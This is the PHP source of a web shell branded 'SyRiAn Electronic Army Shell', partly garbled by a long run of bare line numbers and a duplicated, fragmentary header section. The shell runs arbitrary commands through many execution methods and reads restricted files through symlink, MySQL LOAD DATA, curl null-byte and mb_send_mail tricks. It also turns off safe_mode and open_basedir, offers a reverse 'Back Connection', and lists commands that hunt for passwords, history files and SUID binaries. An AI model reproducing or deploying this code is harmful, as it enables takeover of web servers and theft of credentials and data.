       		        <option value="readfile" >readfile</option>
       		        <option value="fread" >fread</option>
       		        <option value="show_source" >show_source</option>
       		        <option value="file_get_contents" >file_get_contents</option>
       		        <option value="tempnam" >tempnam</option>
       		        <option value="copy" >copy</option>
                    <option value="symlink" >Symlink</option>
       		        <option value="mb_send_mail" >mb_send_mail</option>
       		        <option value="highlight_file" >highlight_file</option>
       		        <option value="curl" >Curl</option>
       		        <option value="imap" >Imap</option>
       		        <option value="mysql" >MySQL</option>
                    <option value="mysqli" >MySQLI</option>
                    <option value="ioncube">Ion Cube</option>
                    <option value="error_log">Error_Log</option>
                    <option value="include">Include</option>
       		        <option value="id" >ID /etc/passwd</option>
   		          </select>
       		      <input name="READ_Execute" type="submit" id="READ_Execute" onClick="document.getElementById('READ_Line').value = encodeURIComponent(document.getElementById('READ_Line').value);" value="Read"></td>
          </tr>
            <tr>
       		  <td height="45" colspan="2"><input type='text' name='READ_Line' id='READ_Line' value='<?php if($_POST['READ_Execute']){echo urldecode(filter($_POST['READ_Line']));}else {echo $dir;} ?>' size="70"></td>
          </tr>
        </table>
        </form>
        <!-- End Of Commands Alias-->
  </td>
        <td width='30%' height='30' valign="top">
        <!-- Commands Alias-->
        <form method='POST' enctype="multipart/form-data">
        <table width='100%' height='72' border='0' id='Box'>
       	  <tr>
   		  <td width="4%" height="21" style="background-color:<?php echo $sh3llColor; ?>">&nbsp;</td>
        		<td style="background-color:#666;padding-left:10px;">Back Connection
       		    <input name='CON_Execute' type='submit' id="CON_Execute" value='Connect'></td>
          </tr>
            <tr>
       		  <td height="45" colspan="2"><input type="text" name="ip" value="<?php if($_POST['CON_Execute']){echo $_POST['ip']; }else {echo GetRealIP(); } ?>" />
   		      <input type="text" name="port" value="<?php if($_POST['CON_Execute']){echo $_POST['port']; }else {echo "443"; } ?>" />
   		      <select name="CON_Type" >
   		      	<option value="socks">SOCKS</option>
   		      	<option value="fsockopen">FSOCKOPEN</option>
   		      </select>
   		      </td>
            </tr>
        </table>
        </form>
        <!-- End Of Commands Alias-->
		</td>
	</tr>
</table>
<?php
function IncludeReader($path) {
	global $os;
	if($os == "Windows"){$slash = "\\";}else{$slash = "/";}
	$fileName = substr(strrchr($path,$slash),1);
	$includePath = substr($path,0,strpos($path,$fileName,0));
	ini_set("include_path",$includePath);
	include($fileName);
}
function GetUsers1() {
	return Exe('ls /var/mail');
}
function GetUsers2() {
	$array = array();
	$lines = file("/etc/passwd");
	foreach($lines as $nr=>$val) {
		$str = explode(":",$val);
		array_push($array,$str[0]);
	}
	return $array;
}
function GetUsers3() {
	$array = array();
	if ($dh = opendir("/home/"))  {
		while (($file = readdir($dh)) !== false)  {
			array_push($array,$file);
		}
		closedir($dh);
		return $array;
	}
}
function GetUsers4() {
	$dir = "/home/";
	$array = array();
     if ($dh = opendir($dir)) {
        $f = readdir($dh);
        while (($f = readdir($dh)) !== false) {
            $dh2=opendir($dir."/");
            $f2 = readdir($dh2);
            while (($f2 = readdir($dh2)) !== false) {
				$f2.="/";
				$dh3=opendir($dir.$f.$f2);
				$f3 = readdir($dh3);
				while (($f3 = readdir($dh3)) !== false) {
					array_push($array,$f3);
				}
			}
        }
        closedir($dh);
     	return $array;
	 }	
}
function GetUsers5(){
	return realpath('/etc/passwd');
}
function ErrorLog($path){
	$tempFile = uniqid();
	if(get_magic_quotes_gpc() != 0){$path = addslashes($path);}
	error_log(file_get_contents($path), 3, $tempFile);
	$content = file_get_contents($tempFile);
	unlink($tempFile);
	return $content;	
}
function SymlinkF($path) {
	$tempFile = uniqid();
	if(function_exists('symlink')) {
		symlink($path,$tempFile);
		$content = file_get_contents($tempFile);
		unlink($tempFile);
		return $content;
	}
}
function MySQLReader($path) {
	global $DBhost,$DBuser,$DBpass;
	if(get_magic_quotes_gpc() != 0){$path = addslashes($path);}
	$con = mysql_connect($DBhost,$DBuser,$DBpass);
	mysql_query("CREATE DATABASE a");
	mysql_query("CREATE TABLE a.a (a varchar(1024))");
	mysql_query("GRANT SELECT,INSERT ON a.a TO '".$DBuser."'");
	mysql_query("LOAD DATA LOCAL INFILE '".$path."' INTO TABLE a.a") or die(mysql_error());
	$result = mysql_query("SELECT a FROM a.a");
	while(list($row) = mysql_fetch_row($result)){print $row . chr(10);}
	mysql_query("DROP DATABASE a");
}
function MySQLIReader($path) {
	global $DBhost,$DBuser,$DBpass;
	if(get_magic_quotes_gpc() != 0){$path = addslashes($path);}
	$con = mysql_connect($DBhost,$DBuser,$DBpass);
	mysql_query("CREATE DATABASE a");
	mysql_query("CREATE TABLE a.a (a varchar(1024))");
	
	function r($fp, &$buf, $len, &$err) {
      print fread($fp, $len);
	}
	$m = new mysqli($DBhost, $DBuser, $DBpass, 'a');
	$m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
	$m->set_local_infile_handler("r");
	$m->query("LOAD DATA LOCAL INFILE '".$path."' INTO TABLE a.a");
	$m->close();
}
function DBConnect($host,$user,$pass,$db) {
	$connect = mysql_pconnect($host,$user,$pass);
	if(!$connect){echo "Can't Connect to [ ".$host." ] [ ".$user." ] [ ".$pass." ]"; return false;	}
	else {
		$tryToSelectDB = mysql_select_db($db,$connect);
		if(!$tryToSelectDB){echo "Can't Enter The Database [ ".$db." ]"; return false;		}
		else{return true; return $connect;}
	}
}
function ReadId($path) {
	for($uid=0;$uid<60000;$uid++) {   
		$ara = posix_getpwuid($uid);
		if (!empty($ara)){while (list ($key, $val) = eah($ara)){$content .= $val;}
		}
	}
	return $content;
}
function ImapF($path) {
	$stream = imap_open($path, "", "");
	$str = imap_body($stream, 1);
	imap_close($stream);
	return $str;
}
function FileF($path) {
	$lines = file($path); foreach($lines as $line){$content .= $line;}
	return $content;
}
function CopyF($path) {	
	$tempFile = md5(uniqid()).".bb";
	copy($path,$tempFile);
	$content = file_get_contents($tempFile);
	unlink($tempFile);
	return $content;
}
function fgetssF($path) {
	while(($line = fgetss($path)) != false){$content .= $line;}
	return $content;
}
function highlightFile($path) {
	return highlight_file($path);
}
function mbSendEmail($path) {
	if(function_exists('mb_send_mail')) {
		$tempFile = uniqid();
		$additional_param = "-C ".$path." -X ".getcwd()."/".$tempFile;
		mb_send_mail("email@example.com", NULL, NULL, NULL, $additional_param);
		$content = file_get_contents($tempFile);
		unlink($tempFile);
		return $content;
	}
}
function DeleteFile($fileName) {
	global $os;
	if(function_exists('unlink'))
	{$delete = unlink($fileName);}
	if((!$delete) && ($os == 'Windows'))
	{$delete = Exe("del $fileName"); }
	else if((!$delete) && ($os == 'Linux'))
	{$delete = Exe("rm -f $fileName");}
	if($delete){return true;}else{return false;}
}
function CurlFileRead($path) {
	$ch = curl_init("file://".$path."\x00".__FILE__);
	var_dump(curl_exec($ch));
}
function FReadF($path) {
	$file = fopen($path,'r+'); //Open The File
	if(function_exists('fread')){htmlspecialchars(fread($file,filesize($file)));}
	fclose($file);
}
function TempnameF($path) {
	global $dir;
	$temp = tempnam($dir, "cx");
	if(copy("compress.zlib://".$path, $temp)) {
		$handler = fopen($temp, "r");
		$readFile = fread($handler, @filesize($temp));
		fclose($handler);
		$content .= htmlspecialchars($filename);
		$content .= nl2br(htmlspecialchars($readFile));
		$content .= htmlspecialchars($filename);
		unlink($temp);
		return $content;
	} 	
}
function Evaluation($eval) {
	$eval = str_replace(array("<?php","<?","?>"),"",$eval);
	$eval = eval($eval);
	if($eval){return true;}else{return false;}
}
function Oracle() {
	if(function_exists('ocilogon')){$oracle = '<font color="red">ON</font>';}
	else {$oracle = '<font color="green">OFF</font>';}return $oracle;
}
function MsSQL() {
	if(function_exists('mssql_connect')){$msSQL = '<font color="red">ON</font>';}
	else {$msSQL = '<font color="green">OFF</font>';}return $msSQL;
}
function MySQL2() {
	$mysql_try = function_exists('mysql_connect');
	if($mysql_try){$mysql = '<font color="red">ON</font>';}
	else {$mysql = '<font color="green">OFF</font>';}return $mysql;
}
function MSQL() {
	if (function_exists('msql_connect')){$mSql = '<font color="red">ON</font>';}
	else {$mSql = '<font color="green">OFF</font>';}return $mSql;
}
function MysqlI() {
	if (function_exists('mysqli_connect')){$mysqli = '<font color="red">ON</font>';}
	else {$mysqli = '<font color="green">OFF</font>';}return $mysqli;
} 
function Gzip() {
	if (function_exists('gzencode')){$gzip = '<font color="red">ON</font>';}
	else {$gzip = '<font color="green">OFF</font>';}return $gzip;
}
function openBaseDir() {
	$openBaseDir = ini_get("open_basedir");
	if (!$openBaseDir){$openBaseDir = '<font color="green">OFF</font>';}
    else {$openBaseDir = '<font color="red">ON</font>';}	
	return $openBaseDir;
}
function Curl() {
	if(extension_loaded('curl')){$curl = '<font color="red">ON</font>';}
	else{$curl = '<font color="green">OFF</font>';}return $curl;
}
function magicQouts() {
	if(function_exists('get_magic_quotes_gpc')){$mag = get_magic_quotes_gpc();}
	if (empty($mag)){$mag = '<font color="green">OFF</font>';}
	else {$mag= '<font color="red">ON</font>';}return $mag;
}
function SafeMode() {
	$safe_mode = ini_get("safe_mode");
	if (!$safe_mode){$safe_mode = '<font color="green">OFF</font>';}
    else {$safe_mode = '<font color="red">ON</font>';}
	return $safe_mode;
}
function DisableFunctions() {
	$disfun = ini_get('disable_functions');
	if (empty($disfun)){$disfun = '<font color="green">NONE</font>';}return $disfun;
}
function RegisterGlobals() {
	if(ini_get('register_globals')){$registerg= '<font color="red">ON</font>';}
	else{$registerg= '<font color="green">OFF</font>';}return $registerg;
}
function GetRealIP() {
    if (getenv(HTTP_X_FORWARDED_FOR)){$ip=getenv(HTTP_X_FORWARDED_FOR);} 
	elseif (getenv(HTTP_CLIENT_IP)){$ip=getenv(HTTP_CLIENT_IP);}
	else {$ip=getenv(REMOTE_ADDR);}
    return $ip;
}
function SelectCommand($os) {
	global $os;
	if($os == 'Windows') {
		echo "
		<select name='alias' id='alias' onChange='AddAlias();' >
		<option value=''>NONE</option>	
		<option value='dir' >List Directory</option>
		<option value='dir /s /w /b index.php'>Find index.php in current dir</option>
		<option value='dir /s /w /b *config*.php'>Find *config*.php in current dir &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  &nbsp;  &nbsp;  &nbsp;  &nbsp;  &nbsp;</option>
		<option value='netstat -an'>Show active connections</option>
		<option value='net start'>Show running services</option>
		<option value='tasklist'>Show Pro</option>
		<option value='net user'>User accounts</option>
		<option value='net view'>Show computers</option>
		<option value='arp -a'>ARP Table</option>
		<option value='ipconfig /all'>IP Configuration</option>
		<option value='netstat -an'>netstat -an</option>
		<option value='systeminfo'>System Informations</option>
		<option value='getmac'>Get Mac Address</option>
		</select>
		";
	}
	else {
		echo "
		<select name='alias' id='alias' onChange='AddAlias();' >
		<option value=''>NONE</option>	
		<option value='ls -la'>List dir</option>
		<option value='cat /etc/hosts'>IP Addresses</option>
		<option value='cat /proc/sys/vm/mmap_min_addr'>Check MMAP</option>
		<option value='lsattr -va'>list file attributes on a Linux second extended file system</option>
		<option value='netstat -an | grep -i listen'>show opened ports</option>
		<option value='find / -type f -perm -04000 -ls'>find all suid files</option>
		<option value='find . -type f -perm -04000 -ls'>find suid files in current dir</option>
		<option value='find / -type f -perm -02000 -ls'>find all sgid files</option>
		<option value='find . -type f -perm -02000 -ls'>find sgid files in current dir</option>
		<option value='find / -type f -name config.inc.php'>find config.inc.php files</option>
		<option value='find / -type f -name \"config*\"'>find config* files</option>
		<option value='find . -type f -name \"config*\"'>find config* files in current dir</option>
		<option value='find / -perm -2 -ls'>find all writable folders and files</option>
		<option value='find . -perm -2 -ls'>find all writable folders and files in current dir</option>
		<option value='find / -type f -name service.pwd'>find all service.pwd files</option>
		<option value='find . -type f -name service.pwd'>find service.pwd files in current dir</option>
		<option value='find / -type f -name .htpasswd'>find all .htpasswd files</option>
		<option value='find . -type f -name .htpasswd'>find .htpasswd files in current dir</option>
		<option value='find / -type f -name .bash_history'>find all .bash_history files</option>
		<option value='find . -type f -name .bash_history'>find .bash_history files in current dir</option>
		<option value='find / -type f -name .fetchmailrc'>find all .fetchmailrc files</option>
		<option value='find . -type f -name .fetchmailrc'>find .fetchmailrc files in current dir</option>
		<option value='locate httpd.conf'>locate httpd.conf files</option>
		<option value='locate vhosts.conf'>locate vhosts.conf files</option>
		<option value='locate proftpd.conf'>locate proftpd.conf files</option>
		<option value='locate psybnc.conf'>locate psybnc.conf files</option>
		<option value='locate my.conf'>locate my.conf files</option>
		<option value='locate admin.php'>locate admin.php files</option>
		<option value='locate cfg.php'>locate cfg.php files</option>
		<option value='locate conf.php'>locate conf.php files</option>
		<option value='locate config.dat'>locate config.dat files</option>
		<option value='locate config.php'>locate config.php files</option>
		<option value='locate config.inc'>locate config.inc files</option>
		<option value='locate config.inc.php'>locate config.inc.php</option>
		<option value='locate config.default.php'>locate config.default.php files</option>
		<option value='locate config'>locate config* files </option>
		<option value='locate \".conf\"'>locate .conf files</option>
		<option value='locate \".pwd\"'>locate .pwd files</option>
		<option value='locate \".sql\"'>locate .sql files</option>
		<option value='locate \".htpasswd\"'>locate .htpasswd files</option>
		<option value='locate \".bash_history\"'>locate .bash_history files</option>
		<option value='locate \".mysql_history\"'>locate .mysql_history files</option>
		<option value='locate \".fetchmailrc\"'>locate .fetchmailrc files</option>
		<option value='locate backup'>locate backup files</option>
		<option value='locate dump'>locate dump files</option>
		<option value='locate priv'>locate priv files</option>
		</select>
		";
	}
}
function CSS($sh3llColor) {
	$css =  "
	<style>
	BODY
	{
		FONT-FAMILY: Verdana; 
		margin: 2;
		background-color: #000000;
		color:white;
		font-size:10pt;
	}
	sy  
	{
		color:".$sh3llColor.";
		font-size:7pt;
	}
	#Box
	{
		color:".$sh3llColor.";
		background-color:#000;
		font-size:14px;
		font-weight:bold;

		border:none;
	}
	table 
	{
		border:none;
		BORDER:  #eeeeee  outset;
		BACKGROUND-COLOR: #000000;
		color: #cccccc;
		font-size:10px;
	}
	tr 
	{
		BORDER-RIGHT:  #cccccc 1px solid;
		BORDER-TOP:    #cccccc 1px solid;
		BORDER-LEFT:   #cccccc 1px solid;
		BORDER-BOTTOM: #cccccc 1px solid;
		color: #ffffff;
	}
	td 
	{
		BORDER-RIGHT:  #cccccc 1px solid;
		BORDER-TOP:    #cccccc 1px solid;
		BORDER-LEFT:   #cccccc 1px solid;
		BORDER-BOTTOM: #cccccc 1px solid;
		color: #cccccc;
	}

	input 
	{
		BORDER-RIGHT:  ".$sh3llColor." 1px solid;
		BORDER-TOP:    ".$sh3llColor." 1px solid;
		BORDER-LEFT:   ".$sh3llColor." 1px solid;
		BORDER-BOTTOM: ".$sh3llColor." 1px solid;
		BACKGROUND-COLOR: #333333;
		font: 9pt tahoma;
		color: #ffffff;
	}
	select 
	{
		BORDER-RIGHT:  #ffffff 1px solid;
		BORDER-TOP:    #999999 1px solid;
		BORDER-LEFT:   #999999 1px solid;
		BORDER-BOTTOM: #ffffff 1px solid;
		BACKGROUND-COLOR: #000000;
		font: 9pt tahoma;
		color: #CCCCCC;;
	}
	submit 
	{
		BORDER:  1px outset buttonhighlight;
		BACKGROUND-COLOR: #272727;
		width: 40%;
		color: #cccccc;
	}
	textarea 
	{
		BORDER-RIGHT:  #ffffff 1px solid;
		BORDER-TOP:    #999999 1px solid;
		BORDER-LEFT:   #999999 1px solid;
		BORDER-BOTTOM: #ffffff 1px solid;
		BACKGROUND-COLOR: #333333;
		color: #ffffff;
	}
	.Save{
		width:500px;	
		border-color:red;
	}
	A:link {COLOR:".$sh3llColor."; TEXT-DECORATION: none;}
	A:visited { COLOR:".$sh3llColor."; TEXT-DECORATION: none;}
	A:active {COLOR:".$sh3llColor."; TEXT-DECORATION: none;}
	A:hover {color:blue;TEXT-DECORATION: none;}
	</style>
	<script>
	function openPHPInfo(){my_window= window.open (\"?info=getPhpInfo\",\"PHP Info\",\"width=800,height=600,scrollbars=1\");	}
	function AddAlias(){document.getElementById('CMD_Line').value = document.getElementById('alias').value; }
	function addUploadInput(){document.getElementById('uploadInput').innerHTML += '<input type=\'file\' name=\'uploadfile[]\'>';	}
	function change_dir_mode() {
		var dir_mode = document.getElementById('dir_mode').value;
		document.location = '?dir_mode='+dir_mode;
	}
	</script>
	";
	return $css;
}
function filter($string) {
	if(get_magic_quotes_gpc() != 0){return stripslashes($string);	}
	else{return $string;	}
}
function footer() {
	echo '
	<table width="100%">
	<tr>
	<td width="100%"><center>
	<sy>  ~~<< </sy>SyRiAn Electronic Army<sy> >>~~</sy></b><br/>
	<sy>  ~~<< </sy><a href="http://www.syrian-es.com" target="_blank">www.syrian-es.com</a><sy> >>~~</sy></b><br />
	<sy>  ~~<< </sy>sea.coders@hotmail.com<sy> >>~~</sy></b>
	</center></td>
	</tr>
	</table>
	</body></html>
	';
}
function print_exe_method() {
	global $os; global $exec_method;
	if($os == "Linux") {
		?>
		<select name="exe_method" >
			<option value="exec" <?php if($exec_method == "exec") {echo "selected";} ?>>exec()</option>
			<option value="system" <?php if($exec_method == "system") {echo "selected";} ?>>system</option>
			<option value="shell_exec" <?php if($exec_method == "shell_exec") {echo "selected";} ?>>shell_exec</option>
			<option value="passthru" <?php if($exec_method == "passthru") {echo "selected";} ?>>passthru()</option>
			<option value="proc_open" <?php if($exec_method == "proc_open") {echo "selected";} ?>>proc_open()</option>
			<option value="popen" <?php if($exec_method == "popen") {echo "selected";} ?>>popen()</option>
			<option value="perl" <?php if($exec_method == "perl") {echo "selected";} ?>>perl</option>
			<option value="python" <?php if($exec_method == "python") {echo "selected";} ?>>python</option>
		</select>
		<?php
	} else {
		?>
		<select name="exe_method" >
			<option value="exec" <?php if($exec_method == "exec") {echo "selected";} ?>>exec()</option>
			<option value="system" <?php if($exec_method == "system") {echo "selected";} ?>>system()</option>
			<option value="shell_exec" <?php if($exec_method == "shell_exec") {echo "selected";} ?>>shell_exec()</option>
			<option value="passthru" <?php if($exec_method == "passthru") {echo "selected";} ?>>passthru()</option>
			<option value="proc_open" <?php if($exec_method == "proc_open") {echo "selected";} ?>>proc_open()</option>
			<option value="popen" <?php if($exec_method == "popen") {echo "selected";} ?>>popen()</option>
			<option value="win_shell_execute" <?php if($exec_method == "win_shell_execute") {echo "selected";} ?>>win_shell_execute()</option>
			<option value="win32_create_service" <?php if($exec_method == "win32_create_service") {echo "selected";} ?>>win32_create_service()</option>
			<option value="ffi" <?php if($exec_method == "ffi") {echo "selected";} ?>>ffi</option>
			<option value="perl" <?php if($exec_method == "perl") {echo "selected";} ?>>perl</option>
			<option value="python" <?php if($exec_method == "python") {echo "selected";} ?>>python</option>
			<option value="slash_bypass <?php if($exec_method == "slash_bypass") {echo "selected";} ?>">slash bypass</option>
		</select>
		<?php
	}
}
function Exe($command) {
	global $dir;global $os;global $exec_method;
	$command = filter($command);
	
	if($exec_method == "exec") {
		exec($command,$output);echo join("\n",$output);
	} else if($exec_method == "system") {
		system($command);
	} else if($exec_method == "shell_exec") {
		echo shell_exec($command);
	} else if($exec_method == "passthru") {
		passthru($command);
	} else if($exec_method == "proc_open") {
		echo proc_exec($command,$dir);
	} else if($exec_method == "popen") {
		$fp = popen($command,"r");{while(!feof($fp)){$result.=fread($fp,1024);}pclose($fp);}echo convert_cyr_string($result,"d","w");
	} else if($exec_method == "win_shell_execute") {
		echo winshell($command);
	} else if($exec_method == "win32_create_service") {
		echo srvshell($command);
	} else if($exec_method == "ffi") {
		echo ffishell($command);
	} else if($exec_method == "perl") {
		echo perlshell($command);
	} else if($exec_method == "python") {
		echo python_eval("import os\nos.system('".$command."')");
	} else if($exec_method == "slash_bypass") {
		echo slashBypass($command);
	}
}
function proc_exec($com , $dir) {
    $start_pipe=array(0=>array("pipe","w"),1=>array("pipe","w"));
    $process=proc_open($com,$start_pipe,$pipes,$dir,NULL);
    return stream_get_contents($pipes[1]);
}
function winshell($command) {
	$name=whereistmP()."\\".uniqid('NJ');
	win_shell_execute('cmd.exe','',"/C $command >\"$name\"");
	sleep(1);
	$exec=file_get_contents($name);
	DeleteFile($name);
	return $exec;
}
function srvshell($command) {
	$name=whereistmP()."\\".uniqid('NJ');
	$n=uniqid('NJ');
	$cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec'];
	win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\""));
	win32_start_service($n);
	win32_stop_service($n);
	win32_delete_service($n);
	while(!file_exists($name))sleep(1);
	$exec=file_get_contents($name);
	DeleteFile($name);
	return $exec;
}
function ffishell($command) {
	$name=whereistmP()."\\".uniqid('NJ');
	$api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
	$res=$api->WinExec("cmd.exe /c $command >\"$name\"",0);
	while(!file_exists($name))sleep(1);
	$exec=file_get_contents($name);
	DeleteFile($name);
	return $exec;
}
function perlshell($command) {
	$perl=new perl();
	ob_start();
	$perl->eval("system('".$command."')");
	$exec=ob_get_contents();
	ob_end_clean();
	return $exec;
}
function slashBypass($cmd) {
	GenerateFile("cmd.bat","$cmd>sy3.txt"."\r\n exit");
	exec("\start cmd.bat");
	$content = file_get_contents('sy3.txt');
	unlink('sy3.txt');
	return $content;
}
function GenerateFile($name,$content) {
	if(function_exists('fopen') && function_exists('fclose')) {
		$file = fopen($name,"w+");
		if($file) {
			if(function_exists('fwrite')){$writeFile = fwrite($file,$content); }	
			else if (function_exists('fputs')){$writeFile = fputs($file,$content); }
			else if (function_exists('file_put_contents')){$writeFile = file_put_contents($file,$content);}
			if(!$writeFile){return false;}
		}
		else{return false;}fclose($file);return true;
	}
}
function ScanDirs() {
	global $os; global $dir;global $safeMode;global $dir_mode;
	if($dir_mode == "cmd"){if($os == "Windows"){Exe('dir');}else{ Exe('ls -lia');}}
	else {
		$result .= "Perms	Size	Time		Owner/Group	R/W	Type	File
-----------------------------------------------------------------------------
";
		$handel = opendir($dir);
		while(($file = readdir($handel))!= false) 
		{
			$size = filesize($file);
			if(filetype($file) == "dir"){$type = "<DIR>";}else {$type = "<FILE>";}
			if(fileowner($file)){$owner = fileowner($file);}else{$owner = "NONE";}
			if(filegroup($file)){$group = filegroup($file);}else{$group = "NONE";}
			$perms = fileperms($file);
			$time = date("y/m/d", filectime($file));
			if(is_writable($file)){$isWritable = "Y";}else{$isWritable = "N";}
			if(is_readable($file)){$isReadable = "Y";}else{$isReadable = "N";}
			$result .= $perms."	".$size."	".$time."	".$owner."/".$group."	".$isReadable."/".$isWritable."	".$type."	".$file."
";
		}
	}
	return $result;
}
echo footer();
?>

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

292

293

294

295

296

297

298

299

300

301

302

303

304

305

306

307

308

309

310

311

312

313

314

315

316

317

318

319

320

321

322

323

324

325

326

327

328

329

330

331

332

333

334

335

336

337

338

339

340

341

342

343

344

345

346

347

348

349

350

351

352

353

354

355

356

357

358

359

360

361

362

363

364

365

366

367

368

369

370

371

372

373

374

375

376

377

378

379

380

381

382

383

384

385

386

387

388

389

390

391

392

393

394

395

396

397

398

399

400

401

402

403

404

405

406

407

408

409

410

411

412

413

414

415

416

417

418

419

420

421

422

423

424

425

426

427

428

429

430

431

432

433

434

435

436

437

438

439

440

441

442

443

444

445

446

447

448

449

450

451

452

453

454

455

456

457

458

459

460

461

462

463

464

465

466

467

468

469

470

471

472

473

474

475

476

477

478

479

480

481

482

483

484

485

486

487

488

489

490

491

492

493

494

495

496

497

498

499

500

501

502

503

504

505

506

507

508

509

510

511

512

513

514

515

516

517

518

519

520

521

522

523

524

525

526

527

528

529

530

531

532

533

534

535

536

537

538

539

540

541

542

543

544

545

546

547

548

549

550

551

552

553

554

555

556

557

558

559

560

561

562

563

564

565

566

567

568

569

570

571

572

573

574

575

576

577

578

579

580

581

582

583

584

585

586

587

588

589

590

591

592

593

594

595

596

597

598

599

600

601

602

603

604

605

606

607

608

609

610

611

612

613

614

615

616

617

618

619

620

621

622

623

624

625

626

627

628

629

630

631

632

633

634

635

636

637

638

639

640

641

642

643

644

645

646

647

648

649

650

651

652

653

654

655

656

657

658

659

660

661

662

663

664

665

666

667

668

669

670

671

672

673

674

675

676

677

678

679

680

681

682

683

684

685

686

687

688

689

690

691

692

693

694

695

696

697

698

699

700

701

702

703

704

705

706

707

708

709

710

711

712

713

714

715

716

717

718

719

720

721

722

723

724

725

726

727

728

729

730

731

732

733

734

735

736

737

738

739

740

741

742

743

744

745

746

747

748

749

750

751

752

753

754

755

756

757

758

759

760

761

762

763

764

765

766

767

768

769

770

771

772

773

774

775

776

777

778

779

780

781

782

783

784

785

786

787

788

789

790

791

792

793

794

795

796

797

798

799

800

801

802

803

804

805

806

807

808

809

810

811

812

813

814

815

816

817

818

819

820

821

822

823

824

825

826

827

828

829

830

831

832

833

834

835

836

837

838

839

840

841

842

843

844

845

846

847

848

849

850

851

852

853

854

855

856

857

858

859

860

861

862

863

864

865

866

867

868

869

870

871

872

873

874

875

876

877

878

879

880

881

882

883

884

885

886

887

888

889

890

891

892

893

894

895

896

897

898

899

900

901

902

903

904

905

906

907

908

909

910

911

912

913

914

915

916

917

918

919

920

921

922

923

924

925

926

927

928

929

930

931

932

933

934

935

936

937

938

939

940

941

942

943

944

945

946

947

948

949

950

951

952

953

954

955

956

957

958

959

960

961

962

963

964

965

966

967

968

969

970

971

972

973

974

975

976

977

978

979

980

981

982

983

984

985

986

987

988

989

990

991

992

993

994

995

996

997

998

999

1000

1001

1002

1003

1004

1005

1006

1007

1008

1009

1010

1011

1012

1013

1014

1015

1016

1017

1018

1019

1020

1021

1022

1023

1024

1025

1026

1027

1028

1029

1030

1031

1032

1033

1034

1035

1036

1037

1038

1039

1040

1041

1042

1043

1044

1045

1046

1047

1048

1049

1050

1051

1052

1053

1054

1055

1056

1057

1058

1059

1060

1061

1062

1063

1064

1065

1066

1067

1068

1069

1070

1071

1072

1073

1074

1075

1076

1077

1078

1079

1080

1081

1082

1083

1084

1085

1086

1087

1088

1089

1090

1091

1092

1093

1094

1095

1096

1097

1098

1099

1100

1101

1102

1103

1104

1105

1106

1107

1108

1109

1110

1111

1112

1113

1114

1115

1116

1117

1118

1119

1120

1121

1122

1123

1124

1125

1126

1127

1128

1129

1130

1131

1132

1133

1134

1135

1136

1137

1138

1139

<?php

# Bypass SuHosin

# Virtual

# users 6 ID /etc/passwd

$user = 'mhu';

$pass = 'mhu';

$uselogin = 1;

$sh3llColor = "green";

# MySQL Info ---------

$DBhost = "localhost";

$DBuser = "root";

$DBpass = "root";

#---------------------

session_start();

error_reporting(0);

set_magic_quotes_runtime(0);

set_time_limit(0);

ignore_user_abort(TRUE);

ini_restore("safe_mode");

ini_restore("open_basedir");

ini_set('max_execution_time',0);

ini_set('output_buffering',0);

ini_set('safe_mode','Off');

// Set Current Directory

if(!$_POST && !$_SESSION['curDir']) {

$dir = getcwd();

$_SESSION['curDir'] = $dir;

} else if(empty($_POST['curDir'])) {

$dir = $_SESSION['curDir'];

} else {

$dir = filter($_POST['curDir']);

$_SESSION['curDir'] = $dir;

}

// Set Dir Mode

if($_GET['dir_mode']) {

$dir_mode = $_GET['dir_mode'];

$_SESSION['dir_mode'] = $dir_mode;

} else {

$dir_mode = $_SESSION['dir_mode'];

}

// Set Usable Command

if($_POST['exe_method']) {

$exec_method = $_POST['exe_method'];

} else {

$exec_method = "exec";

}

# Logout

if($_POST['logout']) {

print '<script>document.cookie="user=;";document.cookie="pass=;";</script>';

print '<script>document.location = "'.$_SERVER['PHP_SELF'].'";</script>';

}

if(strlen($dir)>1 && $dir[1]==":"){$os = "Windows";}else {$os = "Linux";}

if($_GET['info']){phpinfo();}

$safeMode = SafeMode();

$server = substr($SERVER_SOFTWARE,0,120);

$daemon = "";

<html>

<head>

<title>SyRiAn Electronic Army Shell :: SEA Shell</title>

<?php echo CSS($sh3llColor); ?>

</head>

<?php

# ---------------------------------------#

# Authentication #

#----------------------------------------#

if ($uselogin ==1) {

if($_COOKIE["user"] != $user or $_COOKIE["pass"] != md5($pass)) {

if($_GET) {$user = $_GET['user'];$pass = $_GET['pass'];}

if($_POST['usrname']==$user && $_POST['passwrd']==$pass){

print'<script>document.cookie="user='.$_POST['usrname'].';";document.cookie="pass='.md5($_POST['passwrd']).';";</script>';

} else {

if($_POST['usrname']){

print'<script>alert("Go and play in the street man !!");</script>';

}

<sy>SyRiAn Electronic Army</sy>

</center><br />

</form>

</div>

<?php

footer();

exit;

}

<tr>

<center>SyRiAn Electronic Army

<p></p>

</select>

</center>

</td>

<td>

<tr>

<td width='103'>System</td>

<td width="90">Apache Modules</td>

<td width="278"><select ><?php

if(function_exists("apache_get_modules")) {

foreach (apache_get_modules() as $module) {

echo "<option>".$module."</option>";

}

}else {

echo "<option>NONE</option>";

}

?></select></td>

</tr>

<tr>

<td>uname </td>

<td><a href='http://www.google.com/search?q=<?php echo php_uname(); ?>' target='_blank'><u><?php echo php_uname(); ?></u></a></td>

</tr>

<tr>

<td>Open Basedir</td>

</tr>

<tr>

<td>whoami</td>

<td>Magic_Quotes</td>

</tr>

<tr>

<td>Server</td>

<td>Register Globals</td>

</tr>

<tr>

<td>Server Name</td>

</tr>
